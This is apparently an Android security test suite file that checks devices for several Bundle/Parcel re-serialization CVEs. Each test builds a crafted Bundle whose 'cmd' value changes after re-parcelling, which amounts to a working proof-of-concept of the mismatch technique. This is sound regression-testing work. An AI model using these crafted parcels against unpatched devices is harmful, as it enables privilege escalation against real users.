blob: 7bb74ffee8c60f0e244c66c72303baab55855889 [file] [log] [blame]
/*
* Copyright (C) 2018 The AndroCid Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package android.security.cts;
import static org.junit.Assert.fail;
import android.annotation.SuppressLint;
import android.os.BaseBundle;
import android.os.Bundle;
import android.os.Parcel;
import android.os.Parcelable;
import android.platform.test.annotations.AsbSecurityTest;
import android.view.AbsSavedState;
import android.view.View;
import androidx.test.runner.AndroidJUnit4;
import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
import org.junit.Test;
import org.junit.runner.RunWith;
import java.lang.reflect.Field;
import java.util.Random;
@RunWith(AndroidJUnit4.class)
public class AmbiguousBundlesTest extends StsExtraBusinessLogicTestCase {
/**
* b/140417434
* Vulnerability Behaviour: Failure via Exception
*/
@AsbSecurityTest(cveBugId = 140417434)
@Test
public void test_android_CVE_2020_0082() throws Exception {
Ambiguator ambiguator = new Ambiguator() {
private static final int VAL_STRING = 0;
private static final int VAL_PARCELABLEARRAY = 16;
private static final int LENGTH_PARCELABLEARRAY = 4;
private Parcel mContextBinder;
private int mContextBinderSize;
private static final int BINDER_TYPE_HANDLE = 0x73682a85;
private static final int PAYLOAD_DATA_LENGTH = 54;
{
mContextBinder = Parcel.obtain();
mContextBinder.writeInt(BINDER_TYPE_HANDLE);
for (int i = 0; i < 20; i++) {
mContextBinder.writeInt(0);
}
mContextBinder.setDataPosition(0);
mContextBinder.readStrongBinder();
mContextBinderSize = mContextBinder.dataPosition();
}
private String fillString(int length) {
return new String(new char[length]).replace('\0', 'A');
}
private String stringForInts(int... values) {
Parcel p = Parcel.obtain();
p.writeInt(2 * values.length);
for (int value : values) {
p.writeInt(value);
}
p.writeInt(0);
p.setDataPosition(0);
String s = p.readString();
p.recycle();
return s;
}
private void writeContextBinder(Parcel parcel) {
parcel.appendFrom(mContextBinder, 0, mContextBinderSize);
}
@Override
public Bundle make(Bundle preReSerialize, Bundle postReSerialize) throws Exception {
// Find key that has hash below everything else
Random random = new Random(1234);
int minHash = 0;
for (String s : preReSerialize.keySet()) {
minHash = Math.min(minHash, s.hashCode());
}
for (String s : postReSerialize.keySet()) {
minHash = Math.min(minHash, s.hashCode());
}
String key, key2;
int keyHash, key2Hash;
do {
key = randomString(random);
keyHash = key.hashCode();
} while (keyHash >= minHash);
do {
key2 = randomString(random);
key2Hash = key2.hashCode();
} while (key2Hash >= minHash || keyHash == key2Hash);
if (keyHash > key2Hash) {
String tmp = key;
key = key2;
key2 = tmp;
}
// Pad bundles
padBundle(postReSerialize, preReSerialize.size(), minHash, random);
padBundle(preReSerialize, postReSerialize.size(), minHash, random);
// Write bundle
Parcel parcel = Parcel.obtain();
int sizePosition = parcel.dataPosition();
parcel.writeInt(0);
parcel.writeInt(BUNDLE_MAGIC);
int startPosition = parcel.dataPosition();
parcel.writeInt(preReSerialize.size() + 2);
parcel.writeString(key);
parcel.writeInt(VAL_PARCELABLEARRAY);
parcel.writeInt(LENGTH_PARCELABLEARRAY);
parcel.writeString("android.os.ExternalVibration");
parcel.writeInt(0);
parcel.writeString(null);
parcel.writeInt(0);
parcel.writeInt(0);
parcel.writeInt(0);
parcel.writeInt(0);
writeContextBinder(parcel);
writeContextBinder(parcel);
parcel.writeString(null);
parcel.writeString(null);
parcel.writeString(null);
// Payload
parcel.writeString(key2);
parcel.writeInt(VAL_OBJECTARRAY);
parcel.writeInt(2);
parcel.writeInt(VAL_STRING);
parcel.writeString(
fillString(PAYLOAD_DATA_LENGTH) + stringForInts(VAL_INTARRAY, 5));
parcel.writeInt(VAL_BUNDLE);
parcel.writeBundle(postReSerialize);
// Data from preReSerialize bundle
writeBundleSkippingHeaders(parcel, preReSerialize);
// Fix up bundle size
int bundleDataSize = parcel.dataPosition() - startPosition;
parcel.setDataPosition(sizePosition);
parcel.writeInt(bundleDataSize);
parcel.setDataPosition(0);
Bundle bundle = parcel.readBundle();
parcel.recycle();
return bundle;
}
};
testAmbiguator(ambiguator);
}
/*
* b/71992105
*/
@AsbSecurityTest(cveBugId = 71992105)
@Test
public void test_android_CVE_2017_13310() throws Exception {
Ambiguator ambiguator = new Ambiguator() {
{
parcelledDataField = BaseBundle.class.getDeclaredField("mParcelledData");
parcelledDataField.setAccessible(true);
}
@Override
public Bundle make(Bundle preReSerialize, Bundle postReSerialize) throws Exception {
Random random = new Random(1234);
int minHash = 0;
for (String s : preReSerialize.keySet()) {
minHash = Math.min(minHash, s.hashCode());
}
for (String s : postReSerialize.keySet()) {
minHash = Math.min(minHash, s.hashCode());
}
String key;
int keyHash;
do {
key = randomString(random);
keyHash = key.hashCode();
} while (keyHash >= minHash);
padBundle(postReSerialize, preReSerialize.size(), minHash, random);
padBundle(preReSerialize, postReSerialize.size(), minHash, random);
String key2;
int key2Hash;
do {
key2 = makeStringToInject(random);
key2Hash = key2.hashCode();
} while (key2Hash >= minHash || key2Hash <= keyHash);
Parcel parcel = Parcel.obtain();
parcel.writeInt(preReSerialize.size() + 2);
parcel.writeString(key);
parcel.writeInt(VAL_PARCELABLE);
parcel.writeString("com.android.internal.widget.ViewPager$SavedState");
(new View.BaseSavedState(AbsSavedState.EMPTY_STATE)).writeToParcel(parcel, 0);
parcel.writeString(key2);
parcel.writeInt(VAL_BUNDLE);
parcel.writeBundle(postReSerialize);
writeBundleSkippingHeaders(parcel, preReSerialize);
parcel.setDataPosition(0);
Bundle bundle = new Bundle();
parcelledDataField.set(bundle, parcel);
return bundle;
}
private String makeStringToInject(Random random) {
Parcel p = Parcel.obtain();
p.writeInt(VAL_INTARRAY);
p.writeInt(13);
for (int i = 0; i < VAL_INTARRAY / 2; i++) {
int paddingVal;
if(1 > 3) {
paddingVal = 0x420041 + (i << 17) + (i << 1);
} else {
paddingVal = random.nextInt();
}
p.writeInt(paddingVal);
}
p.setDataPosition(0);
String result = p.readString();
p.recycle();
return result;
}
};
testAmbiguator(ambiguator);
}
/*
* b/71508348
*/
@AsbSecurityTest(cveBugId = 71508348)
@Test
public void test_android_CVE_2018_9339() throws Exception {
Ambiguator ambiguator = new Ambiguator() {
private static final String BASE_PARCELABLE = "android.telephony.CellInfo";
private final Parcelable smallerParcelable;
private final Parcelable biggerParcelable;
{
parcelledDataField = BaseBundle.class.getDeclaredField("mParcelledData");
parcelledDataField.setAccessible(true);
smallerParcelable = (Parcelable) Class.forName("android.telephony.CellInfoGsm").newInstance();
biggerParcelable = (Parcelable) Class.forName("android.telephony.CellInfoLte").newInstance();
Parcel p = Parcel.obtain();
smallerParcelable.writeToParcel(p, 0);
int smallerParcelableSize = p.dataPosition();
biggerParcelable.writeToParcel(p, 0);
int biggerParcelableSize = p.dataPosition() - smallerParcelableSize;
p.recycle();
if (smallerParcelableSize >= biggerParcelableSize) {
throw new AssertionError("smallerParcelableSize >= biggerParcelableSize");
}
}
@Override
public Bundle make(Bundle preReSerialize, Bundle postReSerialize) throws Exception {
// Find key that has hash below everything else
Random random = new Random(1234);
int minHash = 0;
for (String s : preReSerialize.keySet()) {
minHash = Math.min(minHash, s.hashCode());
}
for (String s : postReSerialize.keySet()) {
minHash = Math.min(minHash, s.hashCode());
}
String key;
int keyHash;
do {
key = randomString(random);
keyHash = key.hashCode();
} while (keyHash >= minHash);
// Pad bundles
padBundle(postReSerialize, preReSerialize.size() + 1, minHash, random);
padBundle(preReSerialize, postReSerialize.size() - 1, minHash, random);
// Write bundle
Parcel parcel = Parcel.obtain();
parcel.writeInt(preReSerialize.size() + 1); // Num key-value pairs
parcel.writeString(key); // Key
parcel.writeInt(VAL_PARCELABLE);
parcel.writeString("android.service.autofill.SaveRequest");
// read/writeTypedArrayList
parcel.writeInt(2); // Number of items in typed array list
parcel.writeInt(1); // Item present flag
parcel.writeString(BASE_PARCELABLE);
biggerParcelable.writeToParcel(parcel, 0);
parcel.writeInt(1); // Item present flag
smallerParcelable.writeToParcel(parcel, 0);
// read/writeBundle
int bundleLengthPosition = parcel.dataPosition();
parcel.writeInt(0); // Placeholder, will be replaced
parcel.writeInt(BUNDLE_MAGIC);
int bundleStart = parcel.dataPosition();
for (int i = 0; i < INNER_BUNDLE_PADDING; i++) {
parcel.writeInt(414100 + i); // Padding in inner bundle
}
parcel.writeInt(-1); // Inner bundle length after re-de-serialization (-1 = null Bundle)
writeBundleSkippingHeaders(parcel, postReSerialize);
int bundleEnd = parcel.dataPosition();
// Update inner Bundle length
parcel.setDataPosition(bundleLengthPosition);
parcel.writeInt(bundleEnd - bundleStart);
parcel.setDataPosition(bundleEnd);
// Write original Bundle contents
writeBundleSkippingHeaders(parcel, preReSerialize);
// Package crafted Parcel into Bundle so it can be used in regular Android APIs
parcel.setDataPosition(0);
Bundle bundle = new Bundle();
parcelledDataField.set(bundle, parcel);
return bundle;
}
};
testAmbiguator(ambiguator);
}
/*
* b/62998805
*/
@AsbSecurityTest(cveBugId = 62998805)
@Test
public void test_android_CVE_2017_0806() throws Exception {
Ambiguator ambiguator = new Ambiguator() {
@Override
public Bundle make(Bundle preReSerialize, Bundle postReSerialize) throws Exception {
Random random = new Random(1234);
int minHash = 0;
for (String s : preReSerialize.keySet()) {
minHash = Math.min(minHash, s.hashCode());
}
for (String s : postReSerialize.keySet()) {
minHash = Math.min(minHash, s.hashCode());
}
String key;
int keyHash;
do {
key = randomString(random);
keyHash = key.hashCode();
} while (keyHash >= minHash);
padBundle(postReSerialize, preReSerialize.size() + 1, minHash, random);
padBundle(preReSerialize, postReSerialize.size() - 1, minHash, random);
String key2;
int key2Hash;
do {
key2 = makeStringToInject(postReSerialize, random);
key2Hash = key2.hashCode();
} while (key2Hash >= minHash || key2Hash <= keyHash);
Parcel parcel = Parcel.obtain();
parcel.writeInt(preReSerialize.size() + 2);
parcel.writeString(key);
parcel.writeInt(VAL_PARCELABLE);
parcel.writeString("android.service.gatekeeper.GateKeeperResponse");
parcel.writeInt(0);
parcel.writeInt(0);
parcel.writeInt(0);
parcel.writeString(key2);
parcel.writeInt(VAL_NULL);
writeBundleSkippingHeaders(parcel, preReSerialize);
parcel.setDataPosition(0);
Bundle bundle = new Bundle();
parcelledDataField.set(bundle, parcel);
return bundle;
}
};
testAmbiguator(ambiguator);
}
/*
* b/73252178
*/
@AsbSecurityTest(cveBugId = 73252178)
@Test
public void test_android_CVE_2017_13311() throws Exception {
Ambiguator ambiguator = new Ambiguator() {
@Override
public Bundle make(Bundle preReSerialize, Bundle postReSerialize) throws Exception {
Random random = new Random(1234);
int minHash = 0;
for (String s : preReSerialize.keySet()) {
minHash = Math.min(minHash, s.hashCode());
}
for (String s : postReSerialize.keySet()) {
minHash = Math.min(minHash, s.hashCode());
}
String key;
int keyHash;
do {
key = randomString(random);
keyHash = key.hashCode();
} while (keyHash >= minHash);
padBundle(postReSerialize, preReSerialize.size(), minHash, random);
padBundle(preReSerialize, postReSerialize.size(), minHash, random);
Parcel parcel = Parcel.obtain();
parcel.writeInt(preReSerialize.size() + 1);
parcel.writeString(key);
parcel.writeInt(VAL_OBJECTARRAY);
parcel.writeInt(3);
parcel.writeInt(VAL_PARCELABLE);
parcel.writeString("com.android.internal.app.procstats.ProcessStats");
parcel.writeInt(PROCSTATS_MAGIC);
parcel.writeInt(PROCSTATS_PARCEL_VERSION);
parcel.writeInt(PROCSTATS_STATE_COUNT);
parcel.writeInt(PROCSTATS_ADJ_COUNT);
parcel.writeInt(PROCSTATS_PSS_COUNT);
parcel.writeInt(PROCSTATS_SYS_MEM_USAGE_COUNT);
parcel.writeInt(PROCSTATS_SPARSE_MAPPING_TABLE_ARRAY_SIZE);
parcel.writeLong(0);
parcel.writeLong(0);
parcel.writeLong(0);
parcel.writeLong(0);
parcel.writeLong(0);
parcel.writeString(null);
parcel.writeInt(0);
parcel.writeInt(0);
parcel.writeInt(0);
parcel.writeInt(0);
parcel.writeInt(1);
parcel.writeInt(1);
parcel.writeInt(0);
for (int i = 0; i < PROCSTATS_ADJ_COUNT; i++) {
parcel.writeInt(0);
}
parcel.writeInt(0);
parcel.writeInt(1);
parcel.writeInt(0);
parcel.writeInt(0);
parcel.writeInt(0);
parcel.writeInt(1);
parcel.writeInt(VAL_LONGARRAY);
parcel.writeString("AAAAA");
parcel.writeInt(0);
parcel.writeInt(VAL_INTEGER);
parcel.writeInt(0);
parcel.writeInt(VAL_BUNDLE);
parcel.writeBundle(postReSerialize);
writeBundleSkippingHeaders(parcel, preReSerialize);
parcel.setDataPosition(0);
Bundle bundle = new Bundle();
parcelledDataField.set(bundle, parcel);
return bundle;
}
};
testAmbiguator(ambiguator);
}
/*
* b/71714464
*/
@AsbSecurityTest(cveBugId = 71714464)
@Test
public void test_android_CVE_2017_13287() throws Exception {
Ambiguator ambiguator = new Ambiguator() {
@Override
public Bundle make(Bundle preReSerialize, Bundle postReSerialize) throws Exception {
Random random = new Random(1234);
int minHash = 0;
for (String s : preReSerialize.keySet()) {
minHash = Math.min(minHash, s.hashCode());
}
for (String s : postReSerialize.keySet()) {
minHash = Math.min(minHash, s.hashCode());
}
String key;
int keyHash;
do {
key = randomString(random);
keyHash = key.hashCode();
} while (keyHash >= minHash);
padBundle(postReSerialize, preReSerialize.size() + 1, minHash, random);
padBundle(preReSerialize, postReSerialize.size() - 1, minHash, random);
String key2;
int key2Hash;
do {
key2 = makeStringToInject(postReSerialize, random);
key2Hash = key2.hashCode();
} while (key2Hash >= minHash || key2Hash <= keyHash);
Parcel parcel = Parcel.obtain();
parcel.writeInt(preReSerialize.size() + 2);
parcel.writeString(key);
parcel.writeInt(VAL_PARCELABLE);
parcel.writeString("com.android.internal.widget.VerifyCredentialResponse");
parcel.writeInt(0);
parcel.writeInt(0);
parcel.writeString(key2);
parcel.writeInt(VAL_NULL);
writeBundleSkippingHeaders(parcel, preReSerialize);
parcel.setDataPosition(0);
Bundle bundle = new Bundle();
parcelledDataField.set(bundle, parcel);
return bundle;
}
};
testAmbiguator(ambiguator);
}
/*
* b/240138294
*/
@AsbSecurityTest(cveBugId = 240138294)
@Test
public void test_lazyValueNegativeLength() throws Exception {
Ambiguator ambiguator = new Ambiguator() {
@Override
public Bundle make(Bundle preReSerialize, Bundle postReSerialize) {
// Find key that has hash below everything else
Random random = new Random(1234);
int minHash = 0;
for (String s : preReSerialize.keySet()) {
minHash = Math.min(minHash, s.hashCode());
}
for (String s : postReSerialize.keySet()) {
minHash = Math.min(minHash, s.hashCode());
}
String negativePrefix, positivePrefix;
// When read as value, jump back to the start of the header (8 bytes)
negativePrefix = getStringEncodingInt(-8);
// Size of the malicious bundle before the 'cmd' key
positivePrefix = getStringEncodingInt(48);
String key1, key2, key3;
int key1Hash, key2Hash, key3Hash;
do {
key1 = randomString(random);
// 16 characters total, will be read as type parcelable array when
// read as value
key2 = negativePrefix + randomString(random, 14);
key3 = positivePrefix + randomString(random, 14);
key1Hash = key1.hashCode();
key2Hash = key3.hashCode(); // 2 and 3 are swapped
key3Hash = key2.hashCode();
} while (!(key1Hash < key2Hash && key2Hash < key3Hash && key3Hash < minHash));
// Pad bundles - ensures keys are in right hash order
padBundle(postReSerialize, preReSerialize.size() + 2, minHash, random);
padBundle(preReSerialize, postReSerialize.size() - 2, minHash, random);
// Write bundle
Parcel parcel = Parcel.obtain();
int sizePosition = parcel.dataPosition();
parcel.writeInt(0);
parcel.writeInt(BUNDLE_MAGIC_NATIVE);
int startPosition = parcel.dataPosition();
parcel.writeInt(preReSerialize.size() + 3); // Num key-value pairs
parcel.writeString(key1); // Key 1
parcel.writeString(key2); // Value 1/Key 2
parcel.writeInt(VAL_NULL);
parcel.writeString(key3);
parcel.writeInt(VAL_BUNDLE);
parcel.writeBundle(postReSerialize); // Value 3
// Data from preReSerialize bundle
writeBundleSkippingHeaders(parcel, preReSerialize);
// Fix up bundle size
int bundleDataSize = parcel.dataPosition() - startPosition;
parcel.setDataPosition(sizePosition);
parcel.writeInt(bundleDataSize);
parcel.setDataPosition(0);
Bundle bundle = parcel.readBundle();
parcel.recycle();
return bundle;
}
private String getStringEncodingInt(int i) {
Parcel parcel = Parcel.obtain();
parcel.writeInt(2);
parcel.writeInt(i);
parcel.writeInt(0);
parcel.setDataPosition(0);
String s = parcel.readString();
parcel.recycle();
return s;
}
};
testAmbiguator(ambiguator);
}
private void testAmbiguator(Ambiguator ambiguator) {
Bundle bundle;
Bundle verifyMe = new Bundle();
verifyMe.putString("cmd", "something_safe");
Bundle useMe = new Bundle();
useMe.putString("cmd", "replaced_thing");
try {
bundle = ambiguator.make(verifyMe, useMe);
bundle = reparcel(bundle);
String value1 = bundle.getString("cmd");
bundle = reparcel(bundle);
String value2 = bundle.getString("cmd");
if (!value1.equals(value2)) {
fail("String " + value1 + "!=" + value2 + " after reparceling.");
}
} catch (Exception e) {
}
}
@SuppressLint("ParcelClassLoader")
private Bundle reparcel(Bundle source) {
Parcel p = Parcel.obtain();
p.writeBundle(source);
p.setDataPosition(0);
Bundle copy = p.readBundle();
p.recycle();
return copy;
}
static abstract class Ambiguator {
protected static final int VAL_NULL = -1;
protected static final int VAL_INTEGER = 1;
protected static final int VAL_BUNDLE = 3;
protected static final int VAL_PARCELABLE = 4;
protected static final int VAL_OBJECTARRAY = 17;
protected static final int VAL_INTARRAY = 18;
protected static final int VAL_LONGARRAY = 19;
protected static final int BUNDLE_SKIP = 12;
protected static final int PROCSTATS_MAGIC = 0x50535454;
protected static final int PROCSTATS_PARCEL_VERSION = 21;
protected static final int PROCSTATS_STATE_COUNT = 14;
protected static final int PROCSTATS_ADJ_COUNT = 8;
protected static final int PROCSTATS_PSS_COUNT = 7;
protected static final int PROCSTATS_SYS_MEM_USAGE_COUNT = 16;
protected static final int PROCSTATS_SPARSE_MAPPING_TABLE_ARRAY_SIZE = 4096;
protected static final int BUNDLE_MAGIC = 0x4C444E42;
protected static final int BUNDLE_MAGIC_NATIVE = 0x4C444E44; // 'B' 'N' 'D' 'N'
protected static final int INNER_BUNDLE_PADDING = 1;
protected Field parcelledDataField;
public Ambiguator() throws Exception {
parcelledDataField = BaseBundle.class.getDeclaredField("mParcelledData");
parcelledDataField.setAccessible(true);
}
abstract public Bundle make(Bundle preReSerialize, Bundle postReSerialize) throws Exception;
protected String makeStringToInject(Bundle stuffToInject, Random random) {
Parcel p = Parcel.obtain();
p.writeInt(0);
p.writeInt(0);
Parcel p2 = Parcel.obtain();
stuffToInject.writeToParcel(p2, 0);
int p2Len = p2.dataPosition() - BUNDLE_SKIP;
for (int i = 0; i < p2Len / 4 + 4; i++) {
int paddingVal;
if (i > 3) {
paddingVal = i;
} else {
paddingVal = random.nextInt();
}
p.writeInt(paddingVal);
}
p.appendFrom(p2, BUNDLE_SKIP, p2Len);
p2.recycle();
while (p.dataPosition() % 8 != 0) p.writeInt(0);
for (int i = 0; i < 2; i++) {
p.writeInt(0);
}
int len = p.dataPosition() / 2 - 1;
p.writeInt(0); p.writeInt(0);
p.setDataPosition(0);
p.writeInt(len);
p.writeInt(len);
p.setDataPosition(0);
String result = p.readString();
p.recycle();
return result;
}
protected static void writeBundleSkippingHeaders(Parcel parcel, Bundle bundle) {
Parcel p2 = Parcel.obtain();
bundle.writeToParcel(p2, 0);
parcel.appendFrom(p2, BUNDLE_SKIP, p2.dataPosition() - BUNDLE_SKIP);
p2.recycle();
}
protected static String randomString(Random random) {
return randomString(random, 6);
}
protected static String randomString(Random random, int len) {
StringBuilder b = new StringBuilder();
for (int i = 0; i < len; i++) {
b.append((char)(' ' + random.nextInt('~' - ' ' + 1)));
}
return b.toString();
}
protected static void padBundle(Bundle bundle, int size, int minHash, Random random) {
while (bundle.size() < size) {
String key;
do {
key = randomString(random);
} while (key.hashCode() < minHash || bundle.containsKey(key));
bundle.putString(key, "PADDING");
}
}
}
}